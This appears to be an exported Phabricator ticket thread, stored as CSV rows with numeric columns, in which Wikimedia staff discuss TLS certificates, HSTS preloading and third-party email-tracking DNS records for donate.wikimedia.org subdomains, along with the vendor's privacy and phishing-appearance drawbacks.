+102827,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"In most of our domains, we have generically templated in hostnames for both `donate.$domain` and `www.donate.$domain`.  The former works fine with TLS, but the latter is an insecure redirect in all cases that I checked.  We should probably remove the www's, as otherwise we'd have to increase our cert count/costs by ~50% to get either `www.donate.$domain` or `*.donate.$domain` for all of our project domains.
+
+Related but probably much more complex, we have this in the wikimedia.org zone:
+
+```
+wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
+wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
+wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
+wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
+wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
+wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
+wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
+wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
+wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
+wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
+wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
+wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
+```
+I'm not sure what to make of all of those.  They mostly seem to be hosted with http://www.silverpop.com/ (via mkt41.net ), but `www.email.donate` is ours and doesn't match TLS certs either.",Medium,50.0,1434555219,1460476695.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_description,resolved,True,c3,2,True,True,False,-3,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1
+717515,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223245 abandoned by Faidon Liambotis:
+Remove www.email.donate.wikimedia.org from DNS
+
+Reason:
+A variant of this has been already applied for a while, see Ie758bd4af13604f6966a6abab3c2e3eff86db167
+
+[[https://gerrit.wikimedia.org/r/223245]]",,,1472144462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,60,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+649038,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 284106 merged by BBlack:
+Common VCL: remove wikimedia.org subdomain HTTPS redirect exception
+
+[[https://gerrit.wikimedia.org/r/284106]]",,,1461174447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+647701,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 284106 had a related patch set uploaded (by BBlack):
+Common VCL: remove wikimedia.org subdomain HTTPS redirect exception
+
+[[https://gerrit.wikimedia.org/r/284106]]
+",,,1461022614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644261,Decide what to do with *.donate.wikimedia.org subdomain + TLS,They're gone!,,,1460476695,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+640131,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Note this should get resolved via T130414 's https://gerrit.wikimedia.org/r/#/c/278353,,,1459774382,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+512044,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I looked into Pimcore, Mautic, and OpenEMM. All documentation I can find on these tools suggests they are meant for very small databases. For example, from OpenEMM's FAQ[1]:
+
+> If you want to work with more than 120,000 addresses in your database, you have to change the property import.maxrows in file emm.properties in directory /home/openemm/webapps/core/WEB-INF/classes accordingly. However, the bigger your database, the more the performance of your OpenEMM installation will suffer.
+
+OpenEMM’s quote does a good job of illustrating why we don’t have an intention to switch email clients: we’re currently using the most robust system there is, partly because very few email systems are designed to handle databases with over 1 million contacts — outside of the many other sophisticated things Silverpop allows us to do. More importantly, in the event the system breaks, who will fix it? The Fundraising tech team has more than enough on their plate, and we can’t afford to lose our email program for 3 months because it’s broken and no one has time to fix it. Silverpop has never gone down for me in 3 cumulative years of use, and they continue to improve it. Our team could not provide me with that same level of consistency and support.
+
+Setting up our own email system would require ~5 new FTEs - a full-time DBA to focus specifically on email database production, a deliverability expert to handle bounce authentication, and more engineering/analytics staff to support the platform. It does not seem justifiable to spend hundreds of thousands of donor dollars to build a tool that already exists and likely functions better than what we could afford to build. 
+
+Our two departments have a time scheduled to discuss third party usage, so I will leave that discussion for the meeting.
+
+[1]https://www.agnitas.de/en/e-marketing_manager/email-marketing-software-variants/openemm/openemm-support/open-emm-faqs/
+",,,1440109036,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1
+511386,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1555784, @CCogdill_WMF wrote:
+> I agree this is not a great solution, and have made that argument in the past. However, changing the domain was the only way we could continue our email program and support https. IBM needs to be able to track the various levels of email behavior data, from bounces to clickthroughs, which is not a capability we have with in-house tools. 
+
+Is there software we could deploy in-house to do this, without sending that private data off to a third party and/or running into all kinds of legitimacy / privacy / TLS issues?  Looking shallowly around in google search results, I stumbled on https://github.com/mautic/mautic and https://github.com/pimcore/pimcore .  There are bound to be others, as these aren't fundamentally difficult problems to solve on a code level.
+
+> If Fundraising doesn't have to make this change right now, I would very much like to change the links back to http through our wikimedia domain, but I don't think that's an option. If there's a solution I don't know of which allows us to send and track email and do it under the wikimedia.org domain without breaking HSTS, let me know!
+
+It is still an option.  Nothing technical about the email.donate situation has been changed recently on ops' end of things.  HSTS includeSub/preload for wikimedia.org is still blocked/broken regardless of this issue, and will be until the whole benefactorevents situation is sorted out at some later date this year (hopefully), so it's not a big change in the status of the situation to roll back to where we were on the issues in this ticket and re-evaluate options.
+
+As for solutions: basically we can either do it similarly to the good parts of the benefactorevents situation (3rd party, but with us sending them certs to use TLS for everything, and no multi-level subdomains, and all of those services HTTPS-only), or we can bring it in-house.  Even a well-configured 3rd party solution could run into [[ https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning | HPKP ]]-related issues with us down the road.  Exactly what our HPKP policies will become is still an unknown at this time, though, so it's not as urgent.
+
+Personally, I think we're better off bringing all of these things in-house.  All of this data related to fundraising emails (the emails themselves, the responses, open/click/link/bounce data, etc) is privacy-sensitive and branding/legitimacy-sensitive.  While I understand FR signs contracts related to privacy with vendors, contracts do not actually prevent breaches, leaks, or misappropriations - they merely allow the assigning of blame after an incident has occurred, assuming we're ever even aware of it.  As a general rule, the entire industry of email marketing (which these 3rd parties are necessarily a part of) is in the business of gathering, selling, and generally dealing loosely with private customer data compared to how we treat it, so it's hard to trust that they're going to take the utmost concern with ours as a special case just because we're a different kind of organization.
+
+On a separate level from these privacy issues, I tend to be opposed to us unnecessarily outsourcing any functionality to commercial 3rd party services because it breaches our commitment to Open Source software as detailed here: https://wikimediafoundation.org/wiki/Resolution:Wikimedia_Foundation_Guiding_Principles#Freedom_and_open_source .  Outsourcing to a commercial entity using closed-source software on our behalf is at least equivalent to, if not worse than, using closed-source software for said functionality internally on our own servers.  It shouldn't become normal for us to to evade the spirit of that Principle through outsourcing.
+
+I also tend to think that, in general, we're such a sufficiently prominent and unique organization on the Internet and in the world that we'll virtually always want more customization and self-determination in our services than a commodity 3rd party can provide.",,,1440035813,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+511339,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I agree this is not a great solution, and have made that argument in the past. However, changing the domain was the only way we could continue our email program and support https. IBM needs to be able to track the various levels of email behavior data, from bounces to clickthroughs, which is not a capability we have with in-house tools. 
+
+If Fundraising doesn't have to make this change right now, I would very much like to change the links back to http through our wikimedia domain, but I don't think that's an option. If there's a solution I don't know of which allows us to send and track email and do it under the wikimedia.org domain without breaking HSTS, let me know!
+
+Thanks for pointing me to the comment on Wikipedia. I've followed up there, and Fundraising will continue to collect our own data on user response to this change.",,,1440031789,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,7,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+511298,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)
+
+See also https://pt.wikipedia.org/wiki/Wikip%C3%A9dia:Pedidos/Outros#Den.C3.BAncia_de_scam.2Fphishing and today's #wikimedia log (starting at 2015-08-19 22:40 UTC), for a real case of user reporting it to us as phishing against our brand.
+
+",,,1440027803,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+511293,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"links.wikimedia.mtk4988.com is a really bad solution. As already pointed by BBlack, it looks like a phishing attempt (and for a donation campaign, none the less!). Why can't directly point to WMF servers? (it can keep those silverpop ids and provide them to IBM if that's really needed -which is probably arguable-)
+
+See also https://pt.wikipedia.org/wiki/Wikip%C3%A9dia:Pedidos/Outros#Den.C3.BAncia_de_scam.2Fphishing and today #wikimedia log, for a real case of user reporting it to us as phishing against our brand.
+
+",,,1440027449,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+508503,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"After talking about this more with our email consultants, I don't think we have any other option but to change all the Silverpop subdomains for bounce, open, and click tracking to the mtk4988 domain. The good news is they'll give us a double-nested sub-domain like the one now being used for click tracking (links.wikimedia.mtk4988.com), so there is some customization.
+
+We're going to put in the request with Silverpop to change the other domains on their side today. There is an expected impact to deliverability here, but we can't estimate how much until the change happens. If the effect is drastic, I will update here.",,,1439575727,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+505569,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"IBM tells us it's not possible to have a customized domain with an active ssl cert in place; they aren't able provide that for each client, apparently. That's why we pushed back on this task initially, but it seemed like we would have to change one way or another. I agree this doesn't look good from a branding perspective, and we were optimistically hoping there would be a tradeoff in offering an https-only experience to those of our donors that care.
+
+We only do link tracking on the email.donate subdomain, so that's the one we changed. We should be able to change all the others to the mkt4988.com domain, but it will definitely impact deliverability. I'm not sure we have any alternative.
+
+
+
+",,,1439246167,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+504796,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"If the solution is to convert all of the links to foo.mkt4988.com, I think that's still a pretty poor solution (it makes the whole email look like a scam or spam attempt since the linked domain has no branding or legitimacy and has nothing to do with us), and regardless we still need to get rid of the problem service hostnames in our zone data before we close this and move forward.",,,1439085306,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+504795,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I think the problems with email.donate run deeper than anything IBM could fix without changes on our side as well.  We should start with an evaluation of what all of the related hostnames are even used for in what ways, especially which ones are used for HTTP(S) links in emails.
+
+Currently there seem to be multiple potential problems, but without that information it's hard to even categorize the solutions for them:
+
+1. email.donate - A-record to our production text clusters, but our wildcard certificate does not cover this domainname because it's a multi-level subdomain (TLS wildcards only cover a single level of hostname).  Works over HTTP (just goes to default portal for an unconfigured HTTP domain), but not HTTPS (cert mismatch).
+1. bounce.email.donate - A-record to 3rd party, serves HTTP (unknown what content is supposed to be there, the root path gives 403 Forbidden) but not HTTPS at all (connection refused).
+2. mail3880.email.donate - A-record to 3rd party, no HTTP or HTTPS service on it at all AFAICS.
+3. reply.email.donate - same A-record as bounce.email.donate, so same basic situation.
+4. links.email.donate - CNAME to 3rd party.  Serves both HTTP and HTTPS already, but doesn't have a correct certificate for links.email.donate.wm.o.
+5. open.email.donate - CNAME to 3rd party.  Serves HTTP with a page containing a (rather ironic, in light of all of this) statement about how privacy is important.  No HTTPS service (connection refused).
+6. www.email.donate - Basically identical to email.donate situation at the top.
+",,,1439085134,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+504369,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Confirming that IBM updated our links so that all Silveprop links will be
+https from now on. Can we close this task?",,,1438983340,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+501236,Decide what to do with *.donate.wikimedia.org subdomain + TLS,@BBlack I wanted to make sure you saw this as it relates to T107059. I don't have an ETA yet but expect this should be done within a few weeks.,,,1438620761,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+499812,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".
+
+We are going to put in a support case with Silverpop to change our link domain so that we can use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.
+
+",,,1438292343,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+499810,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Update from IBM/Silverpop: it turns out there is a way for us to use https without losing all of our click data in emails. The tradeoff is we lose the ability to customize our domain in those links so the domain will be ""links.mkt4988.com"" instead of ""links.wikimedia.org"".
+
+We are going to put in a support case with Silverpop to change our link domain so that we can have use https. This is not a switch we can flip ourselves, so I will update this task once Silverpop confirms its done.
+
+",,,1438292298,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+493288,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Thanks for this explanation, @BBlack. I got a little further clarification from @faidon so I think I understand how I need to follow up with IBM/Silverpop. I will update this ticket once I've been able to get more information on why these domains are http right now. We've been told in the past it isn't possible to track our (very valuable) open and click data with https in the domain, but I'm not sure why that is, so I will work on this with them.",,,1437236029,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,2,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0
+492056,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@PCoombe @CCogdill_WMF - We've already dealt with the generic/per-project issues in https://gerrit.wikimedia.org/r/#/c/223044 back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:
+
+```
+wikimedia.org:spop1024._domainkey.email.donate 1H IN TXT  ""k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnPE/TvQbvCk0FbqekfcpB7R6R9yXFulninKCCagEijzf/55WqL3o9mNMddmmEAIQvhlscYqtrEerd2RYQTo0pNjJQAXIddvhUaJo+r66TYoyTSoxtL6zF7oJ9ZOL9i7PIntN7zq7m448S/3llWKK8MDvkeG+f5MN/qZ+P2wyD+QIDAQAB""
+wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
+wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
+wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
+wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
+wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
+wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
+wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
+wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
+wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
+wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
+wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
+wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
+```
+
+The primary issue here is that if any of these are used for HTTP traffic, as in emails end up containing `http://www.email.donate.wikimedia.org` (or similar for the rest of the names above), then that blocks us from preloading HSTS on wikimedia.org as a whole in the long run.  If we turned on HSTS for wikimedia.org without solving this problem first, then users who had ever visited a primary wikimedia.org site (and thus picked up HSTS for wikimedia.org) would automatically re-interpret those links as `https://...`, which would break them all.
+
+Not a single one of those hostnames responds to the HTTPS protocol legitimately, and that's not an easily fixable thing.  Only `www.email.donate` and `email.donate` resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.
+
+Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mkt41.net"".  This is referenced also in the two tickets @JanZerebecki linked earlier: T74514 and T60373 ...",,,1437001779,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1
+491955,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@PCoombe @CCogdill_WMF - We've already dealt with the generic/per-project issues in https://gerrit.wikimedia.org/r/#/c/223044 back on July 6.  The only concern left here is the ""email.donate.wikimedia.org"" case, which is all of these interrelated records:
+
+```
+wikimedia.org:spop1024._domainkey.email.donate 1H IN TXT  ""k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnPE/TvQbvCk0FbqekfcpB7R6R9yXFulninKCCagEijzf/55WqL3o9mNMddmmEAIQvhlscYqtrEerd2RYQTo0pNjJQAXIddvhUaJo+r66TYoyTSoxtL6zF7oJ9ZOL9i7PIntN7zq7m448S/3llWKK8MDvkeG+f5MN/qZ+P2wyD+QIDAQAB""
+wikimedia.org:bounce.email.donate     1H  IN A    74.121.50.42
+wikimedia.org:bounce.email.donate     1H  IN MX   5 bounce.email.donate
+wikimedia.org:bounce.email.donate     1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:email.donate            600 IN DYNA geoip!text-addrs-v4/eqiad
+wikimedia.org:email.donate            1H  IN MX   10 reply.email.donate
+wikimedia.org:email.donate            1H  IN MX   20 mail3880.email.donate
+wikimedia.org:email.donate            1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:mail3880.email.donate   1H  IN A    74.121.51.111
+wikimedia.org:mail3880.email.donate   1H  IN MX   5 mail3880.email.donate
+wikimedia.org:mail3880.email.donate   1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:reply.email.donate      1H  IN A    74.121.50.42
+wikimedia.org:reply.email.donate      1H  IN MX   5 reply.email.donate
+wikimedia.org:reply.email.donate      1H  IN TXT  ""v=spf1 ip4:74.121.51.111 ip4:208.80.155.11 -all""
+wikimedia.org:links.email.donate      1H  IN CNAME recp.mkt41.net.
+wikimedia.org:open.email.donate       1H  IN CNAME open.mkt41.net.
+wikimedia.org:www.email.donate        1H  IN CNAME wikimedia.org.
+```
+
